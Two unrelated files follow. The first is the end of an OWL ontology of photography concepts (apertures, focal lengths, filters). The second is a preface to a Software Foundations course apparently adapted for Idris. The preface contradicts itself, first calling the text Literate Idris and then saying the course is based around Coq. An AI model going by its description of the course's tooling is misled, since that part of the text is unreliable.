<owl:someValuesFrom rdf:resource="#FocalLength"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#exagerates"/>
<owl:someValuesFrom rdf:resource="#Perspective"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#affects"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#CameraShake"/>
<rdf:Description rdf:about="#Composition"/>
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#FocalLength"/>
<rdf:Description rdf:about="#Perspective"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#DepthOfField"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#CameraShake"/>
<rdf:Description rdf:about="#FocalLength"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:allValuesFrom>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#Perspective"/>
</owl:unionOf>
</owl:Class>
</owl:allValuesFrom>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#reduces"/>
<owl:someValuesFrom rdf:resource="#CameraShake"/>
</owl:Restriction>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#VeryFastExposure -->
<owl:Class rdf:about="#VeryFastExposure">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#ShutterSpeed"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasDuration"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;double">0.002</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;float"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#isSuitableFor"/>
<owl:someValuesFrom rdf:resource="#FreezingMovement"/>
</owl:Restriction>
</rdfs:subClassOf>
<rdfs:comment
>Faster than 1/500.
Suitable for freezing subjects.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Vignetting -->
<owl:Class rdf:about="#Vignetting">
<rdfs:subClassOf rdf:resource="#ImageFeature"/>
<rdfs:comment
>Darkened corners of an image, caused by light falloff because of poor lens engineering or stacked filters.</rdfs:comment>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Warm -->
<owl:Class rdf:about="#Warm">
<rdfs:subClassOf rdf:resource="#ColourBalance"/>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#WideAngle -->
<owl:Class rdf:about="#WideAngle">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Lens"/>
<owl:Class>
<owl:unionOf rdf:parseType="Collection">
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minInclusive rdf:datatype="&xsd;integer">8</xsd:minInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxExclusive rdf:datatype="&xsd;integer">8</xsd:maxExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minExclusive rdf:datatype="&xsd;integer">24</xsd:minExclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxInclusive rdf:datatype="&xsd;integer">24</xsd:maxInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxInclusive rdf:datatype="&xsd;integer">24</xsd:maxInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:minInclusive rdf:datatype="&xsd;integer">8</xsd:minInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFixedEffectiveFocalLength"/>
<owl:someValuesFrom>
<rdf:Description>
<rdf:type rdf:resource="&owl;DataRange"/>
<xsd:maxInclusive rdf:datatype="&xsd;integer">24</xsd:maxInclusive>
<xsd:minInclusive rdf:datatype="&xsd;integer">8</xsd:minInclusive>
<owl:onDataRange rdf:resource="&xsd;int"/>
</rdf:Description>
</owl:someValuesFrom>
</owl:Restriction>
</owl:unionOf>
</owl:Class>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#Zoom -->
<owl:Class rdf:about="#Zoom">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Lens"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMaxEffectiveFocalLength"/>
<owl:someValuesFrom rdf:resource="&xsd;int"/>
</owl:Restriction>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasMinEffectiveFocalLength"/>
<owl:someValuesFrom rdf:resource="&xsd;int"/>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
<rdfs:subClassOf>
<owl:Class>
<owl:complementOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFixedEffectiveFocalLength"/>
<owl:someValuesFrom rdf:resource="&xsd;int"/>
</owl:Restriction>
</owl:complementOf>
</owl:Class>
</rdfs:subClassOf>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/1 -->
<owl:Class rdf:about="#f/1">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">1.0</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/1.4 -->
<owl:Class rdf:about="#f/1.4">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">1.4</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/11 -->
<owl:Class rdf:about="#f/11">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">11.0</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/16 -->
<owl:Class rdf:about="#f/16">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">16.0</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/2 -->
<owl:Class rdf:about="#f/2">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">2.0</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/2.8 -->
<owl:Class rdf:about="#f/2.8">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">2.8</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/22 -->
<owl:Class rdf:about="#f/22">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">22.0</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/32 -->
<owl:Class rdf:about="#f/32">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">32.0</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/4 -->
<owl:Class rdf:about="#f/4">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">4.0</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/5.6 -->
<owl:Class rdf:about="#f/5.6">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">5.6</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.co-ode.org/ontologies/photography/photography.owl#f/8 -->
<owl:Class rdf:about="#f/8">
<owl:equivalentClass>
<owl:Class>
<owl:intersectionOf rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<owl:Restriction>
<owl:onProperty rdf:resource="#hasFStop"/>
<owl:hasValue rdf:datatype="&xsd;double">8.0</owl:hasValue>
</owl:Restriction>
</owl:intersectionOf>
</owl:Class>
</owl:equivalentClass>
</owl:Class>
<!-- http://www.w3.org/2002/07/owl#Thing -->
<owl:Class rdf:about="&owl;Thing"/>
<!--
///////////////////////////////////////////////////////////////////////////////////////
//
// General axioms
//
///////////////////////////////////////////////////////////////////////////////////////
-->
<rdf:Description>
<rdfs:subPropertyOf rdf:resource="#reduces"/>
<owl:propertyChain rdf:parseType="Collection">
<rdf:Description rdf:about="#hasFeature"/>
<rdf:Description rdf:about="#reduces"/>
</owl:propertyChain>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#Blur"/>
<rdf:Description rdf:about="#Boca"/>
<rdf:Description rdf:about="#ColourCast"/>
<rdf:Description rdf:about="#Composition"/>
<rdf:Description rdf:about="#Contrast"/>
<rdf:Description rdf:about="#DepthOfField"/>
<rdf:Description rdf:about="#Distortion"/>
<rdf:Description rdf:about="#ExposureLevel"/>
<rdf:Description rdf:about="#LensFlare"/>
<rdf:Description rdf:about="#Noise"/>
<rdf:Description rdf:about="#Perspective"/>
<rdf:Description rdf:about="#Resolution"/>
<rdf:Description rdf:about="#Vignetting"/>
</owl:members>
</rdf:Description>
<owl:Restriction>
<rdfs:subClassOf>
<owl:Restriction>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#ExposureLevel"/>
</owl:Restriction>
</rdfs:subClassOf>
<owl:onProperty rdf:resource="#increases"/>
<owl:someValuesFrom rdf:resource="#LightIntensity"/>
</owl:Restriction>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#Camera"/>
<rdf:Description rdf:about="#Filter"/>
<rdf:Description rdf:about="#Lens"/>
<rdf:Description rdf:about="#Light"/>
<rdf:Description rdf:about="#Reflector"/>
<rdf:Description rdf:about="#RemoteRelease"/>
<rdf:Description rdf:about="#Tripod"/>
</owl:members>
</rdf:Description>
<rdf:Description>
<rdfs:subPropertyOf rdf:resource="#hasFeature"/>
<owl:propertyChain rdf:parseType="Collection">
<rdf:Description rdf:about="#hasPart"/>
<rdf:Description rdf:about="#hasFeature"/>
</owl:propertyChain>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#DistanceToSubject"/>
<rdf:Description rdf:about="#FocalLength"/>
<rdf:Description rdf:about="#Orientation"/>
</owl:members>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#ConversionFilter"/>
<rdf:Description rdf:about="#CorrectionFilter"/>
<rdf:Description rdf:about="#GradFilter"/>
<rdf:Description rdf:about="#IRFilter"/>
<rdf:Description rdf:about="#NeutralDensityFilter"/>
<rdf:Description rdf:about="#PolarisingFilter"/>
<rdf:Description rdf:about="#SpecialEffectsFilter"/>
<rdf:Description rdf:about="#UVFilter"/>
</owl:members>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#High"/>
<rdf:Description rdf:about="#Low"/>
<rdf:Description rdf:about="#Medium"/>
</owl:members>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#Adjustment"/>
<rdf:Description rdf:about="#CameraFeature"/>
<rdf:Description rdf:about="#Conditions"/>
<rdf:Description rdf:about="#Format"/>
<rdf:Description rdf:about="#Image"/>
<rdf:Description rdf:about="#ImageFeature"/>
<rdf:Description rdf:about="#Level"/>
<rdf:Description rdf:about="#LightType"/>
<rdf:Description rdf:about="#Parameter"/>
<rdf:Description rdf:about="#Photograph"/>
<rdf:Description rdf:about="#PhotographicSubject"/>
<rdf:Description rdf:about="#PhysicalThing"/>
<rdf:Description rdf:about="#Shape"/>
</owl:members>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#Daylight"/>
<rdf:Description rdf:about="#FlashLight"/>
<rdf:Description rdf:about="#Fluorescent"/>
<rdf:Description rdf:about="#Sunshine"/>
<rdf:Description rdf:about="#Tungsten"/>
</owl:members>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#18mm"/>
<rdf:Description rdf:about="#20-100mm"/>
<rdf:Description rdf:about="#35-55mm"/>
</owl:members>
</rdf:Description>
<rdf:Description>
<rdfs:subPropertyOf rdf:resource="#increases"/>
<owl:propertyChain rdf:parseType="Collection">
<rdf:Description rdf:about="#uses"/>
<rdf:Description rdf:about="#increases"/>
</owl:propertyChain>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#Aperture"/>
<rdf:Description rdf:about="#LightIntensity"/>
<rdf:Description rdf:about="#Sensitivity"/>
<rdf:Description rdf:about="#ShutterSpeed"/>
</owl:members>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#Equipment"/>
<rdf:Description rdf:about="#LightSensitiveMedia"/>
<rdf:Description rdf:about="#Subject"/>
</owl:members>
</rdf:Description>
<rdf:Description>
<rdfs:subPropertyOf rdf:resource="#increases"/>
<owl:propertyChain rdf:parseType="Collection">
<rdf:Description rdf:about="#hasFeature"/>
<rdf:Description rdf:about="#increases"/>
</owl:propertyChain>
</rdf:Description>
<rdf:Description>
<rdfs:subPropertyOf rdf:resource="#reduces"/>
<owl:propertyChain rdf:parseType="Collection">
<rdf:Description rdf:about="#uses"/>
<rdf:Description rdf:about="#reduces"/>
</owl:propertyChain>
</rdf:Description>
<rdf:Description>
<rdf:type rdf:resource="&owl;AllDisjointClasses"/>
<owl:members rdf:parseType="Collection">
<rdf:Description rdf:about="#Circle"/>
<rdf:Description rdf:about="#Donut"/>
<rdf:Description rdf:about="#Polygon"/>
</owl:members>
</rdf:Description>
</rdf:RDF>
<!-- Generated by the OWL API (version 2.2.1.941) http://owlapi.sourceforge.net -->
| Web Ontology Language | 4 | VishalS711/protege | protege-editor-owl/src/test/resources/ontologies/photography.owl | [
"BSD-2-Clause"
] |
= Preface
== Welcome
This electronic book is a course on _Software Foundations_, the mathematical
underpinnings of reliable software. Topics include basic concepts of logic,
computer-assisted theorem proving, the Idris programming language, functional
programming, operational semantics, Hoare logic, and static type systems. The
exposition is intended for a broad range of readers, from advanced
undergraduates to PhD students and researchers. No specific background in logic
or programming languages is assumed, though a degree of mathematical maturity
will be helpful.
The principal novelty of the course is that it is one hundred percent formalized
and machine-checked: the entire text is Literate Idris. It is intended to be
read alongside an interactive session with Idris. All the details in the text
are fully formalized in Idris, and the exercises are designed to be worked using
Idris.
The files are organized into a sequence of core chapters, covering about one
semester's worth of material and organized into a coherent linear narrative,
plus a number of "appendices" covering additional topics. All the core chapters
are suitable for both upper-level undergraduate and graduate students.
== Overview
Building reliable software is hard. The scale and complexity of modern systems,
the number of people involved in building them, and the range of demands placed
on them render it extremely difficult to build software that is even
more-or-less correct, much less 100% correct. At the same time, the increasing
degree to which information processing is woven into every aspect of society
continually amplifies the cost of bugs and insecurities.
Computer scientists and software engineers have responded to these challenges by
developing a whole host of techniques for improving software reliability,
ranging from recommendations about managing software projects and organizing
programming teams (e.g., extreme programming) to design philosophies for
libraries (e.g., model-view-controller, publish-subscribe, etc.) and programming
languages (e.g., object-oriented programming, aspect-oriented programming,
functional programming, ...) to mathematical techniques for specifying and
reasoning about properties of software and tools for helping validate these
properties.
The present course is focused on this last set of techniques. The text weaves
together five conceptual threads:
1. basic tools from _logic_ for making and justifying precise claims about
programs;
2. the use of _proof assistants_ to construct rigorous logical arguments;
3. the idea of _functional programming_, both as a method of programming that
simplifies reasoning about programs and as a bridge between programming and
logic;
4. formal techniques for _reasoning about the properties of specific programs_
(e.g., the fact that a sorting function or a compiler obeys some formal
specification); and
5. the use of _type systems_ for establishing well-behavedness guarantees for
_all_ programs in a given programming language (e.g., the fact that
well-typed Java programs cannot be subverted at runtime).
Each of these topics is easily rich enough to fill a whole course in its own
right, so tackling all of them together naturally means that much will be left
unsaid. Nevertheless, we hope readers will find that the themes illuminate and
amplify each other and that bringing them together creates a foundation from
which it will be easy to dig into any of them more deeply. Some suggestions for
further reading can be found in the [Postscript] chapter. Bibliographic
information for all cited works can be found in the [Bib] chapter.
=== Logic
Logic is the field of study whose subject matter is _proofs_ -- unassailable
arguments for the truth of particular propositions. Volumes have been written
about the central role of logic in computer science. Manna and Waldinger called
it "the calculus of computer science," while Halpern et al.'s paper _On the
Unusual Effectiveness of Logic in Computer Science_ catalogs scores of ways in
which logic offers critical tools and insights. Indeed, they observe that "As a
matter of fact, logic has turned out to be significantly more effective in
computer science than it has been in mathematics. This is quite remarkable,
especially since much of the impetus for the development of logic during the
past one hundred years came from mathematics."
In particular, the fundamental notion of inductive proofs is ubiquitous in all
of computer science. You have surely seen them before, in contexts from discrete
math to analysis of algorithms, but in this course we will examine them much
more deeply than you have probably done so far.
=== Proof Assistants
The flow of ideas between logic and computer science has not been in just one
direction: CS has also made important contributions to logic. One of these has
been the development of software tools for helping construct proofs of logical
propositions. These tools fall into two broad categories:
- _Automated theorem provers_ provide "push-button" operation: you give them a
proposition and they return either _true_, _false_, or _ran out of time_.
Although their capabilities are limited to fairly specific sorts of
reasoning, they have matured tremendously in recent years and are used now
in a huge variety of settings. Examples of such tools include SAT solvers,
SMT solvers, and model checkers.
- _Proof assistants_ are hybrid tools that automate the more routine aspects
of building proofs while depending on human guidance for more difficult
aspects. Widely used proof assistants include Isabelle, Agda, Twelf, ACL2,
PVS, Coq, and Idris among many others.
This course is based around Coq, a proof assistant that has been under
development, mostly in France, since 1983 and that in recent years has attracted
a large community of users in both research and industry. Coq provides a rich
environment for interactive development of machine-checked formal reasoning. The
kernel of the Coq system is a simple proof-checker, which guarantees that only
correct deduction steps are performed. On top of this kernel, the Coq
environment provides high-level facilities for proof development, including
powerful tactics for constructing complex proofs semi-automatically, and a large
library of common definitions and lemmas.
Coq has been a critical enabler for a huge variety of work across computer
science and mathematics:
- As a _platform for modeling programming languages_, it has become a standard
tool for researchers who need to describe and reason about complex language
definitions. It has been used, for example, to check the security of the
JavaCard platform, obtaining the highest level of common criteria
certification, and for formal specifications of the x86 and LLVM instruction
sets and programming languages such as C.
- As an _environment for developing formally certified software_, Coq has been
used, for example, to build CompCert, a fully-verified optimizing compiler
for C, for proving the correctness of subtle algorithms involving floating
point numbers, and as the basis for CertiCrypt, an environment for reasoning
about the security of cryptographic algorithms.
- As a _realistic environment for functional programming with dependent
types_, it has inspired numerous innovations. For example, the Ynot project
at Harvard embedded "relational Hoare reasoning" (an extension of the _Hoare
Logic_ we will see later in this course) in Coq.
- As a _proof assistant for higher-order logic_, it has been used to validate
a number of important results in mathematics. For example, its ability to
include complex computations inside proofs made it possible to develop the
first formally verified proof of the 4-color theorem. This proof had
previously been controversial among mathematicians because part of it
included checking a large number of configurations using a program. In the
Coq formalization, everything is checked, including the correctness of the
computational part. More recently, an even more massive effort led to a Coq
formalization of the Feit-Thompson Theorem -- the first major step in the
classification of finite simple groups.
By the way, in case you're wondering about the name, here's what the official
Coq web site says: "Some French computer scientists have a tradition of naming
their software as animal species: Caml, Elan, Foc or Phox are examples of this
tacit convention. In French, 'coq' means rooster, and it sounds like the
initials of the Calculus of Constructions (CoC) on which it is based." The
rooster is also the national symbol of France, and C-o-q are the first three
letters of the name of Thierry Coquand, one of Coq's early developers.
=== Functional Programming
The term _functional programming_ refers both to a collection of programming
idioms that can be used in almost any programming language and to a family of
programming languages designed to emphasize these idioms, including Haskell,
OCaml, Standard ML, F#, Scala, Scheme, Racket, Common Lisp, Clojure, Erlang,
and Coq.
Functional programming has been developed over many decades -- indeed, its roots
go back to Church's lambda-calculus, which was invented in the 1930s, before
there were even any computers! But since the early '90s it has enjoyed a surge
of interest among industrial engineers and language designers, playing a key
role in high-value systems at companies like Jane St. Capital, Microsoft,
Facebook, and Ericsson.
The most basic tenet of functional programming is that, as much as possible,
computation should be _pure_, in the sense that the only effect of execution
should be to produce a result: the computation should be free from _side
effects_ such as I/O, assignments to mutable variables, redirecting pointers,
etc. For example, whereas an _imperative_ sorting function might take a list of
numbers and rearrange its pointers to put the list in order, a pure sorting
function would take the original list and return a _new_ list containing the
same numbers in sorted order.
One significant benefit of this style of programming is that it makes programs
easier to understand and reason about. If every operation on a data structure
yields a new data structure, leaving the old one intact, then there is no need
to worry about how that structure is being shared and whether a change by one
part of the program might break an invariant that another part of the program
relies on. These considerations are particularly critical in concurrent
programs, where every piece of mutable state that is shared between threads is a
potential source of pernicious bugs. Indeed, a large part of the recent interest
in functional programming in industry is due to its simpler behavior in the
presence of concurrency.
Another reason for the current excitement about functional programming is
related to the first: functional programs are often much easier to parallelize
than their imperative counterparts. If running a computation has no effect other
than producing a result, then it does not matter _where_ it is run. Similarly,
if a data structure is never modified destructively, then it can be copied
freely, across cores or across the network. Indeed, the "Map-Reduce" idiom,
which lies at the heart of massively distributed query processors like Hadoop
and is used by Google to index the entire web is a classic example of functional
programming.
For this course, functional programming has yet another significant attraction:
it serves as a bridge between logic and computer science. Indeed, Coq itself can
be viewed as a combination of a small but extremely expressive functional
programming language plus with a set of tools for stating and proving logical
assertions. Moreover, when we come to look more closely, we find that these two
sides of Coq are actually aspects of the very same underlying machinery -- i.e.,
_proofs are programs_.
=== Program Verification
Approximately the first third of the book is devoted to developing the
conceptual framework of logic and functional programming and gaining enough
fluency with Coq to use it for modeling and reasoning about nontrivial
artifacts. From this point on, we increasingly turn our attention to two broad
topics of critical importance to the enterprise of building reliable software
(and hardware): techniques for proving specific properties of particular
_programs_ and for proving general properties of whole programming _languages_.
For both of these, the first thing we need is a way of representing programs as
mathematical objects, so we can talk about them precisely, together with ways of
describing their behavior in terms of mathematical functions or relations. Our
tools for these tasks are _abstract syntax_ and _operational semantics_, a
method of specifying programming languages by writing abstract interpreters. At
the beginning, we work with operational semantics in the so-called "big-step"
style, which leads to somewhat simpler and more readable definitions when it is
applicable. Later on, we switch to a more detailed "small-step" style, which
helps make some useful distinctions between different sorts of "nonterminating"
program behaviors and is applicable to a broader range of language features,
including concurrency.
The first programming language we consider in detail is _Imp_, a tiny toy
language capturing the core features of conventional imperative programming:
variables, assignment, conditionals, and loops. We study two different ways of
reasoning about the properties of Imp programs.
First, we consider what it means to say that two Imp programs are _equivalent_
in the intuitive sense that they yield the same behavior when started in any
initial memory state. This notion of equivalence then becomes a criterion for
judging the correctness of _metaprograms_ -- programs that manipulate other
programs, such as compilers and optimizers. We build a simple optimizer for Imp
and prove that it is correct.
Second, we develop a methodology for proving that particular Imp programs
satisfy formal specifications of their behavior. We introduce the notion of
_Hoare triples_ -- Imp programs annotated with pre- and post-conditions
describing what should be true about the memory in which they are started and
what they promise to make true about the memory in which they terminate -- and
the reasoning principles of _Hoare Logic_, a "domain-specific logic" specialized
for convenient compositional reasoning about imperative programs, with concepts
like "loop invariant" built in.
This part of the course is intended to give readers a taste of the key ideas and
mathematical tools used in a wide variety of real-world software and hardware
verification tasks.
=== Type Systems
Our final major topic, covering approximately the last third of the course, is
_type systems_, a powerful set of tools for establishing properties of _all_
programs in a given language.
Type systems are the best established and most popular example of a highly
successful class of formal verification techniques known as _lightweight formal
methods_. These are reasoning techniques of modest power -- modest enough that
automatic checkers can be built into compilers, linkers, or program analyzers
and thus be applied even by programmers unfamiliar with the underlying theories.
Other examples of lightweight formal methods include hardware and software model
checkers, contract checkers, and run-time property monitoring techniques for
detecting when some component of a system is not behaving according to
specification.
This topic brings us full circle: the language whose properties we study in this
part, the _simply typed lambda-calculus_, is essentially a simplified model of
the core of Coq itself!
=== Further Reading
This text is intended to be self contained, but readers looking for a deeper
treatment of a particular topic will find suggestions for further reading in the
[Postscript] chapter.
== Practicalities
=== Chapter Dependencies
A diagram of the dependencies between chapters and some suggested
paths through the material can be found in the file [deps.html].
=== System Requirements
Coq runs on Windows, Linux, and OS X. You will need:
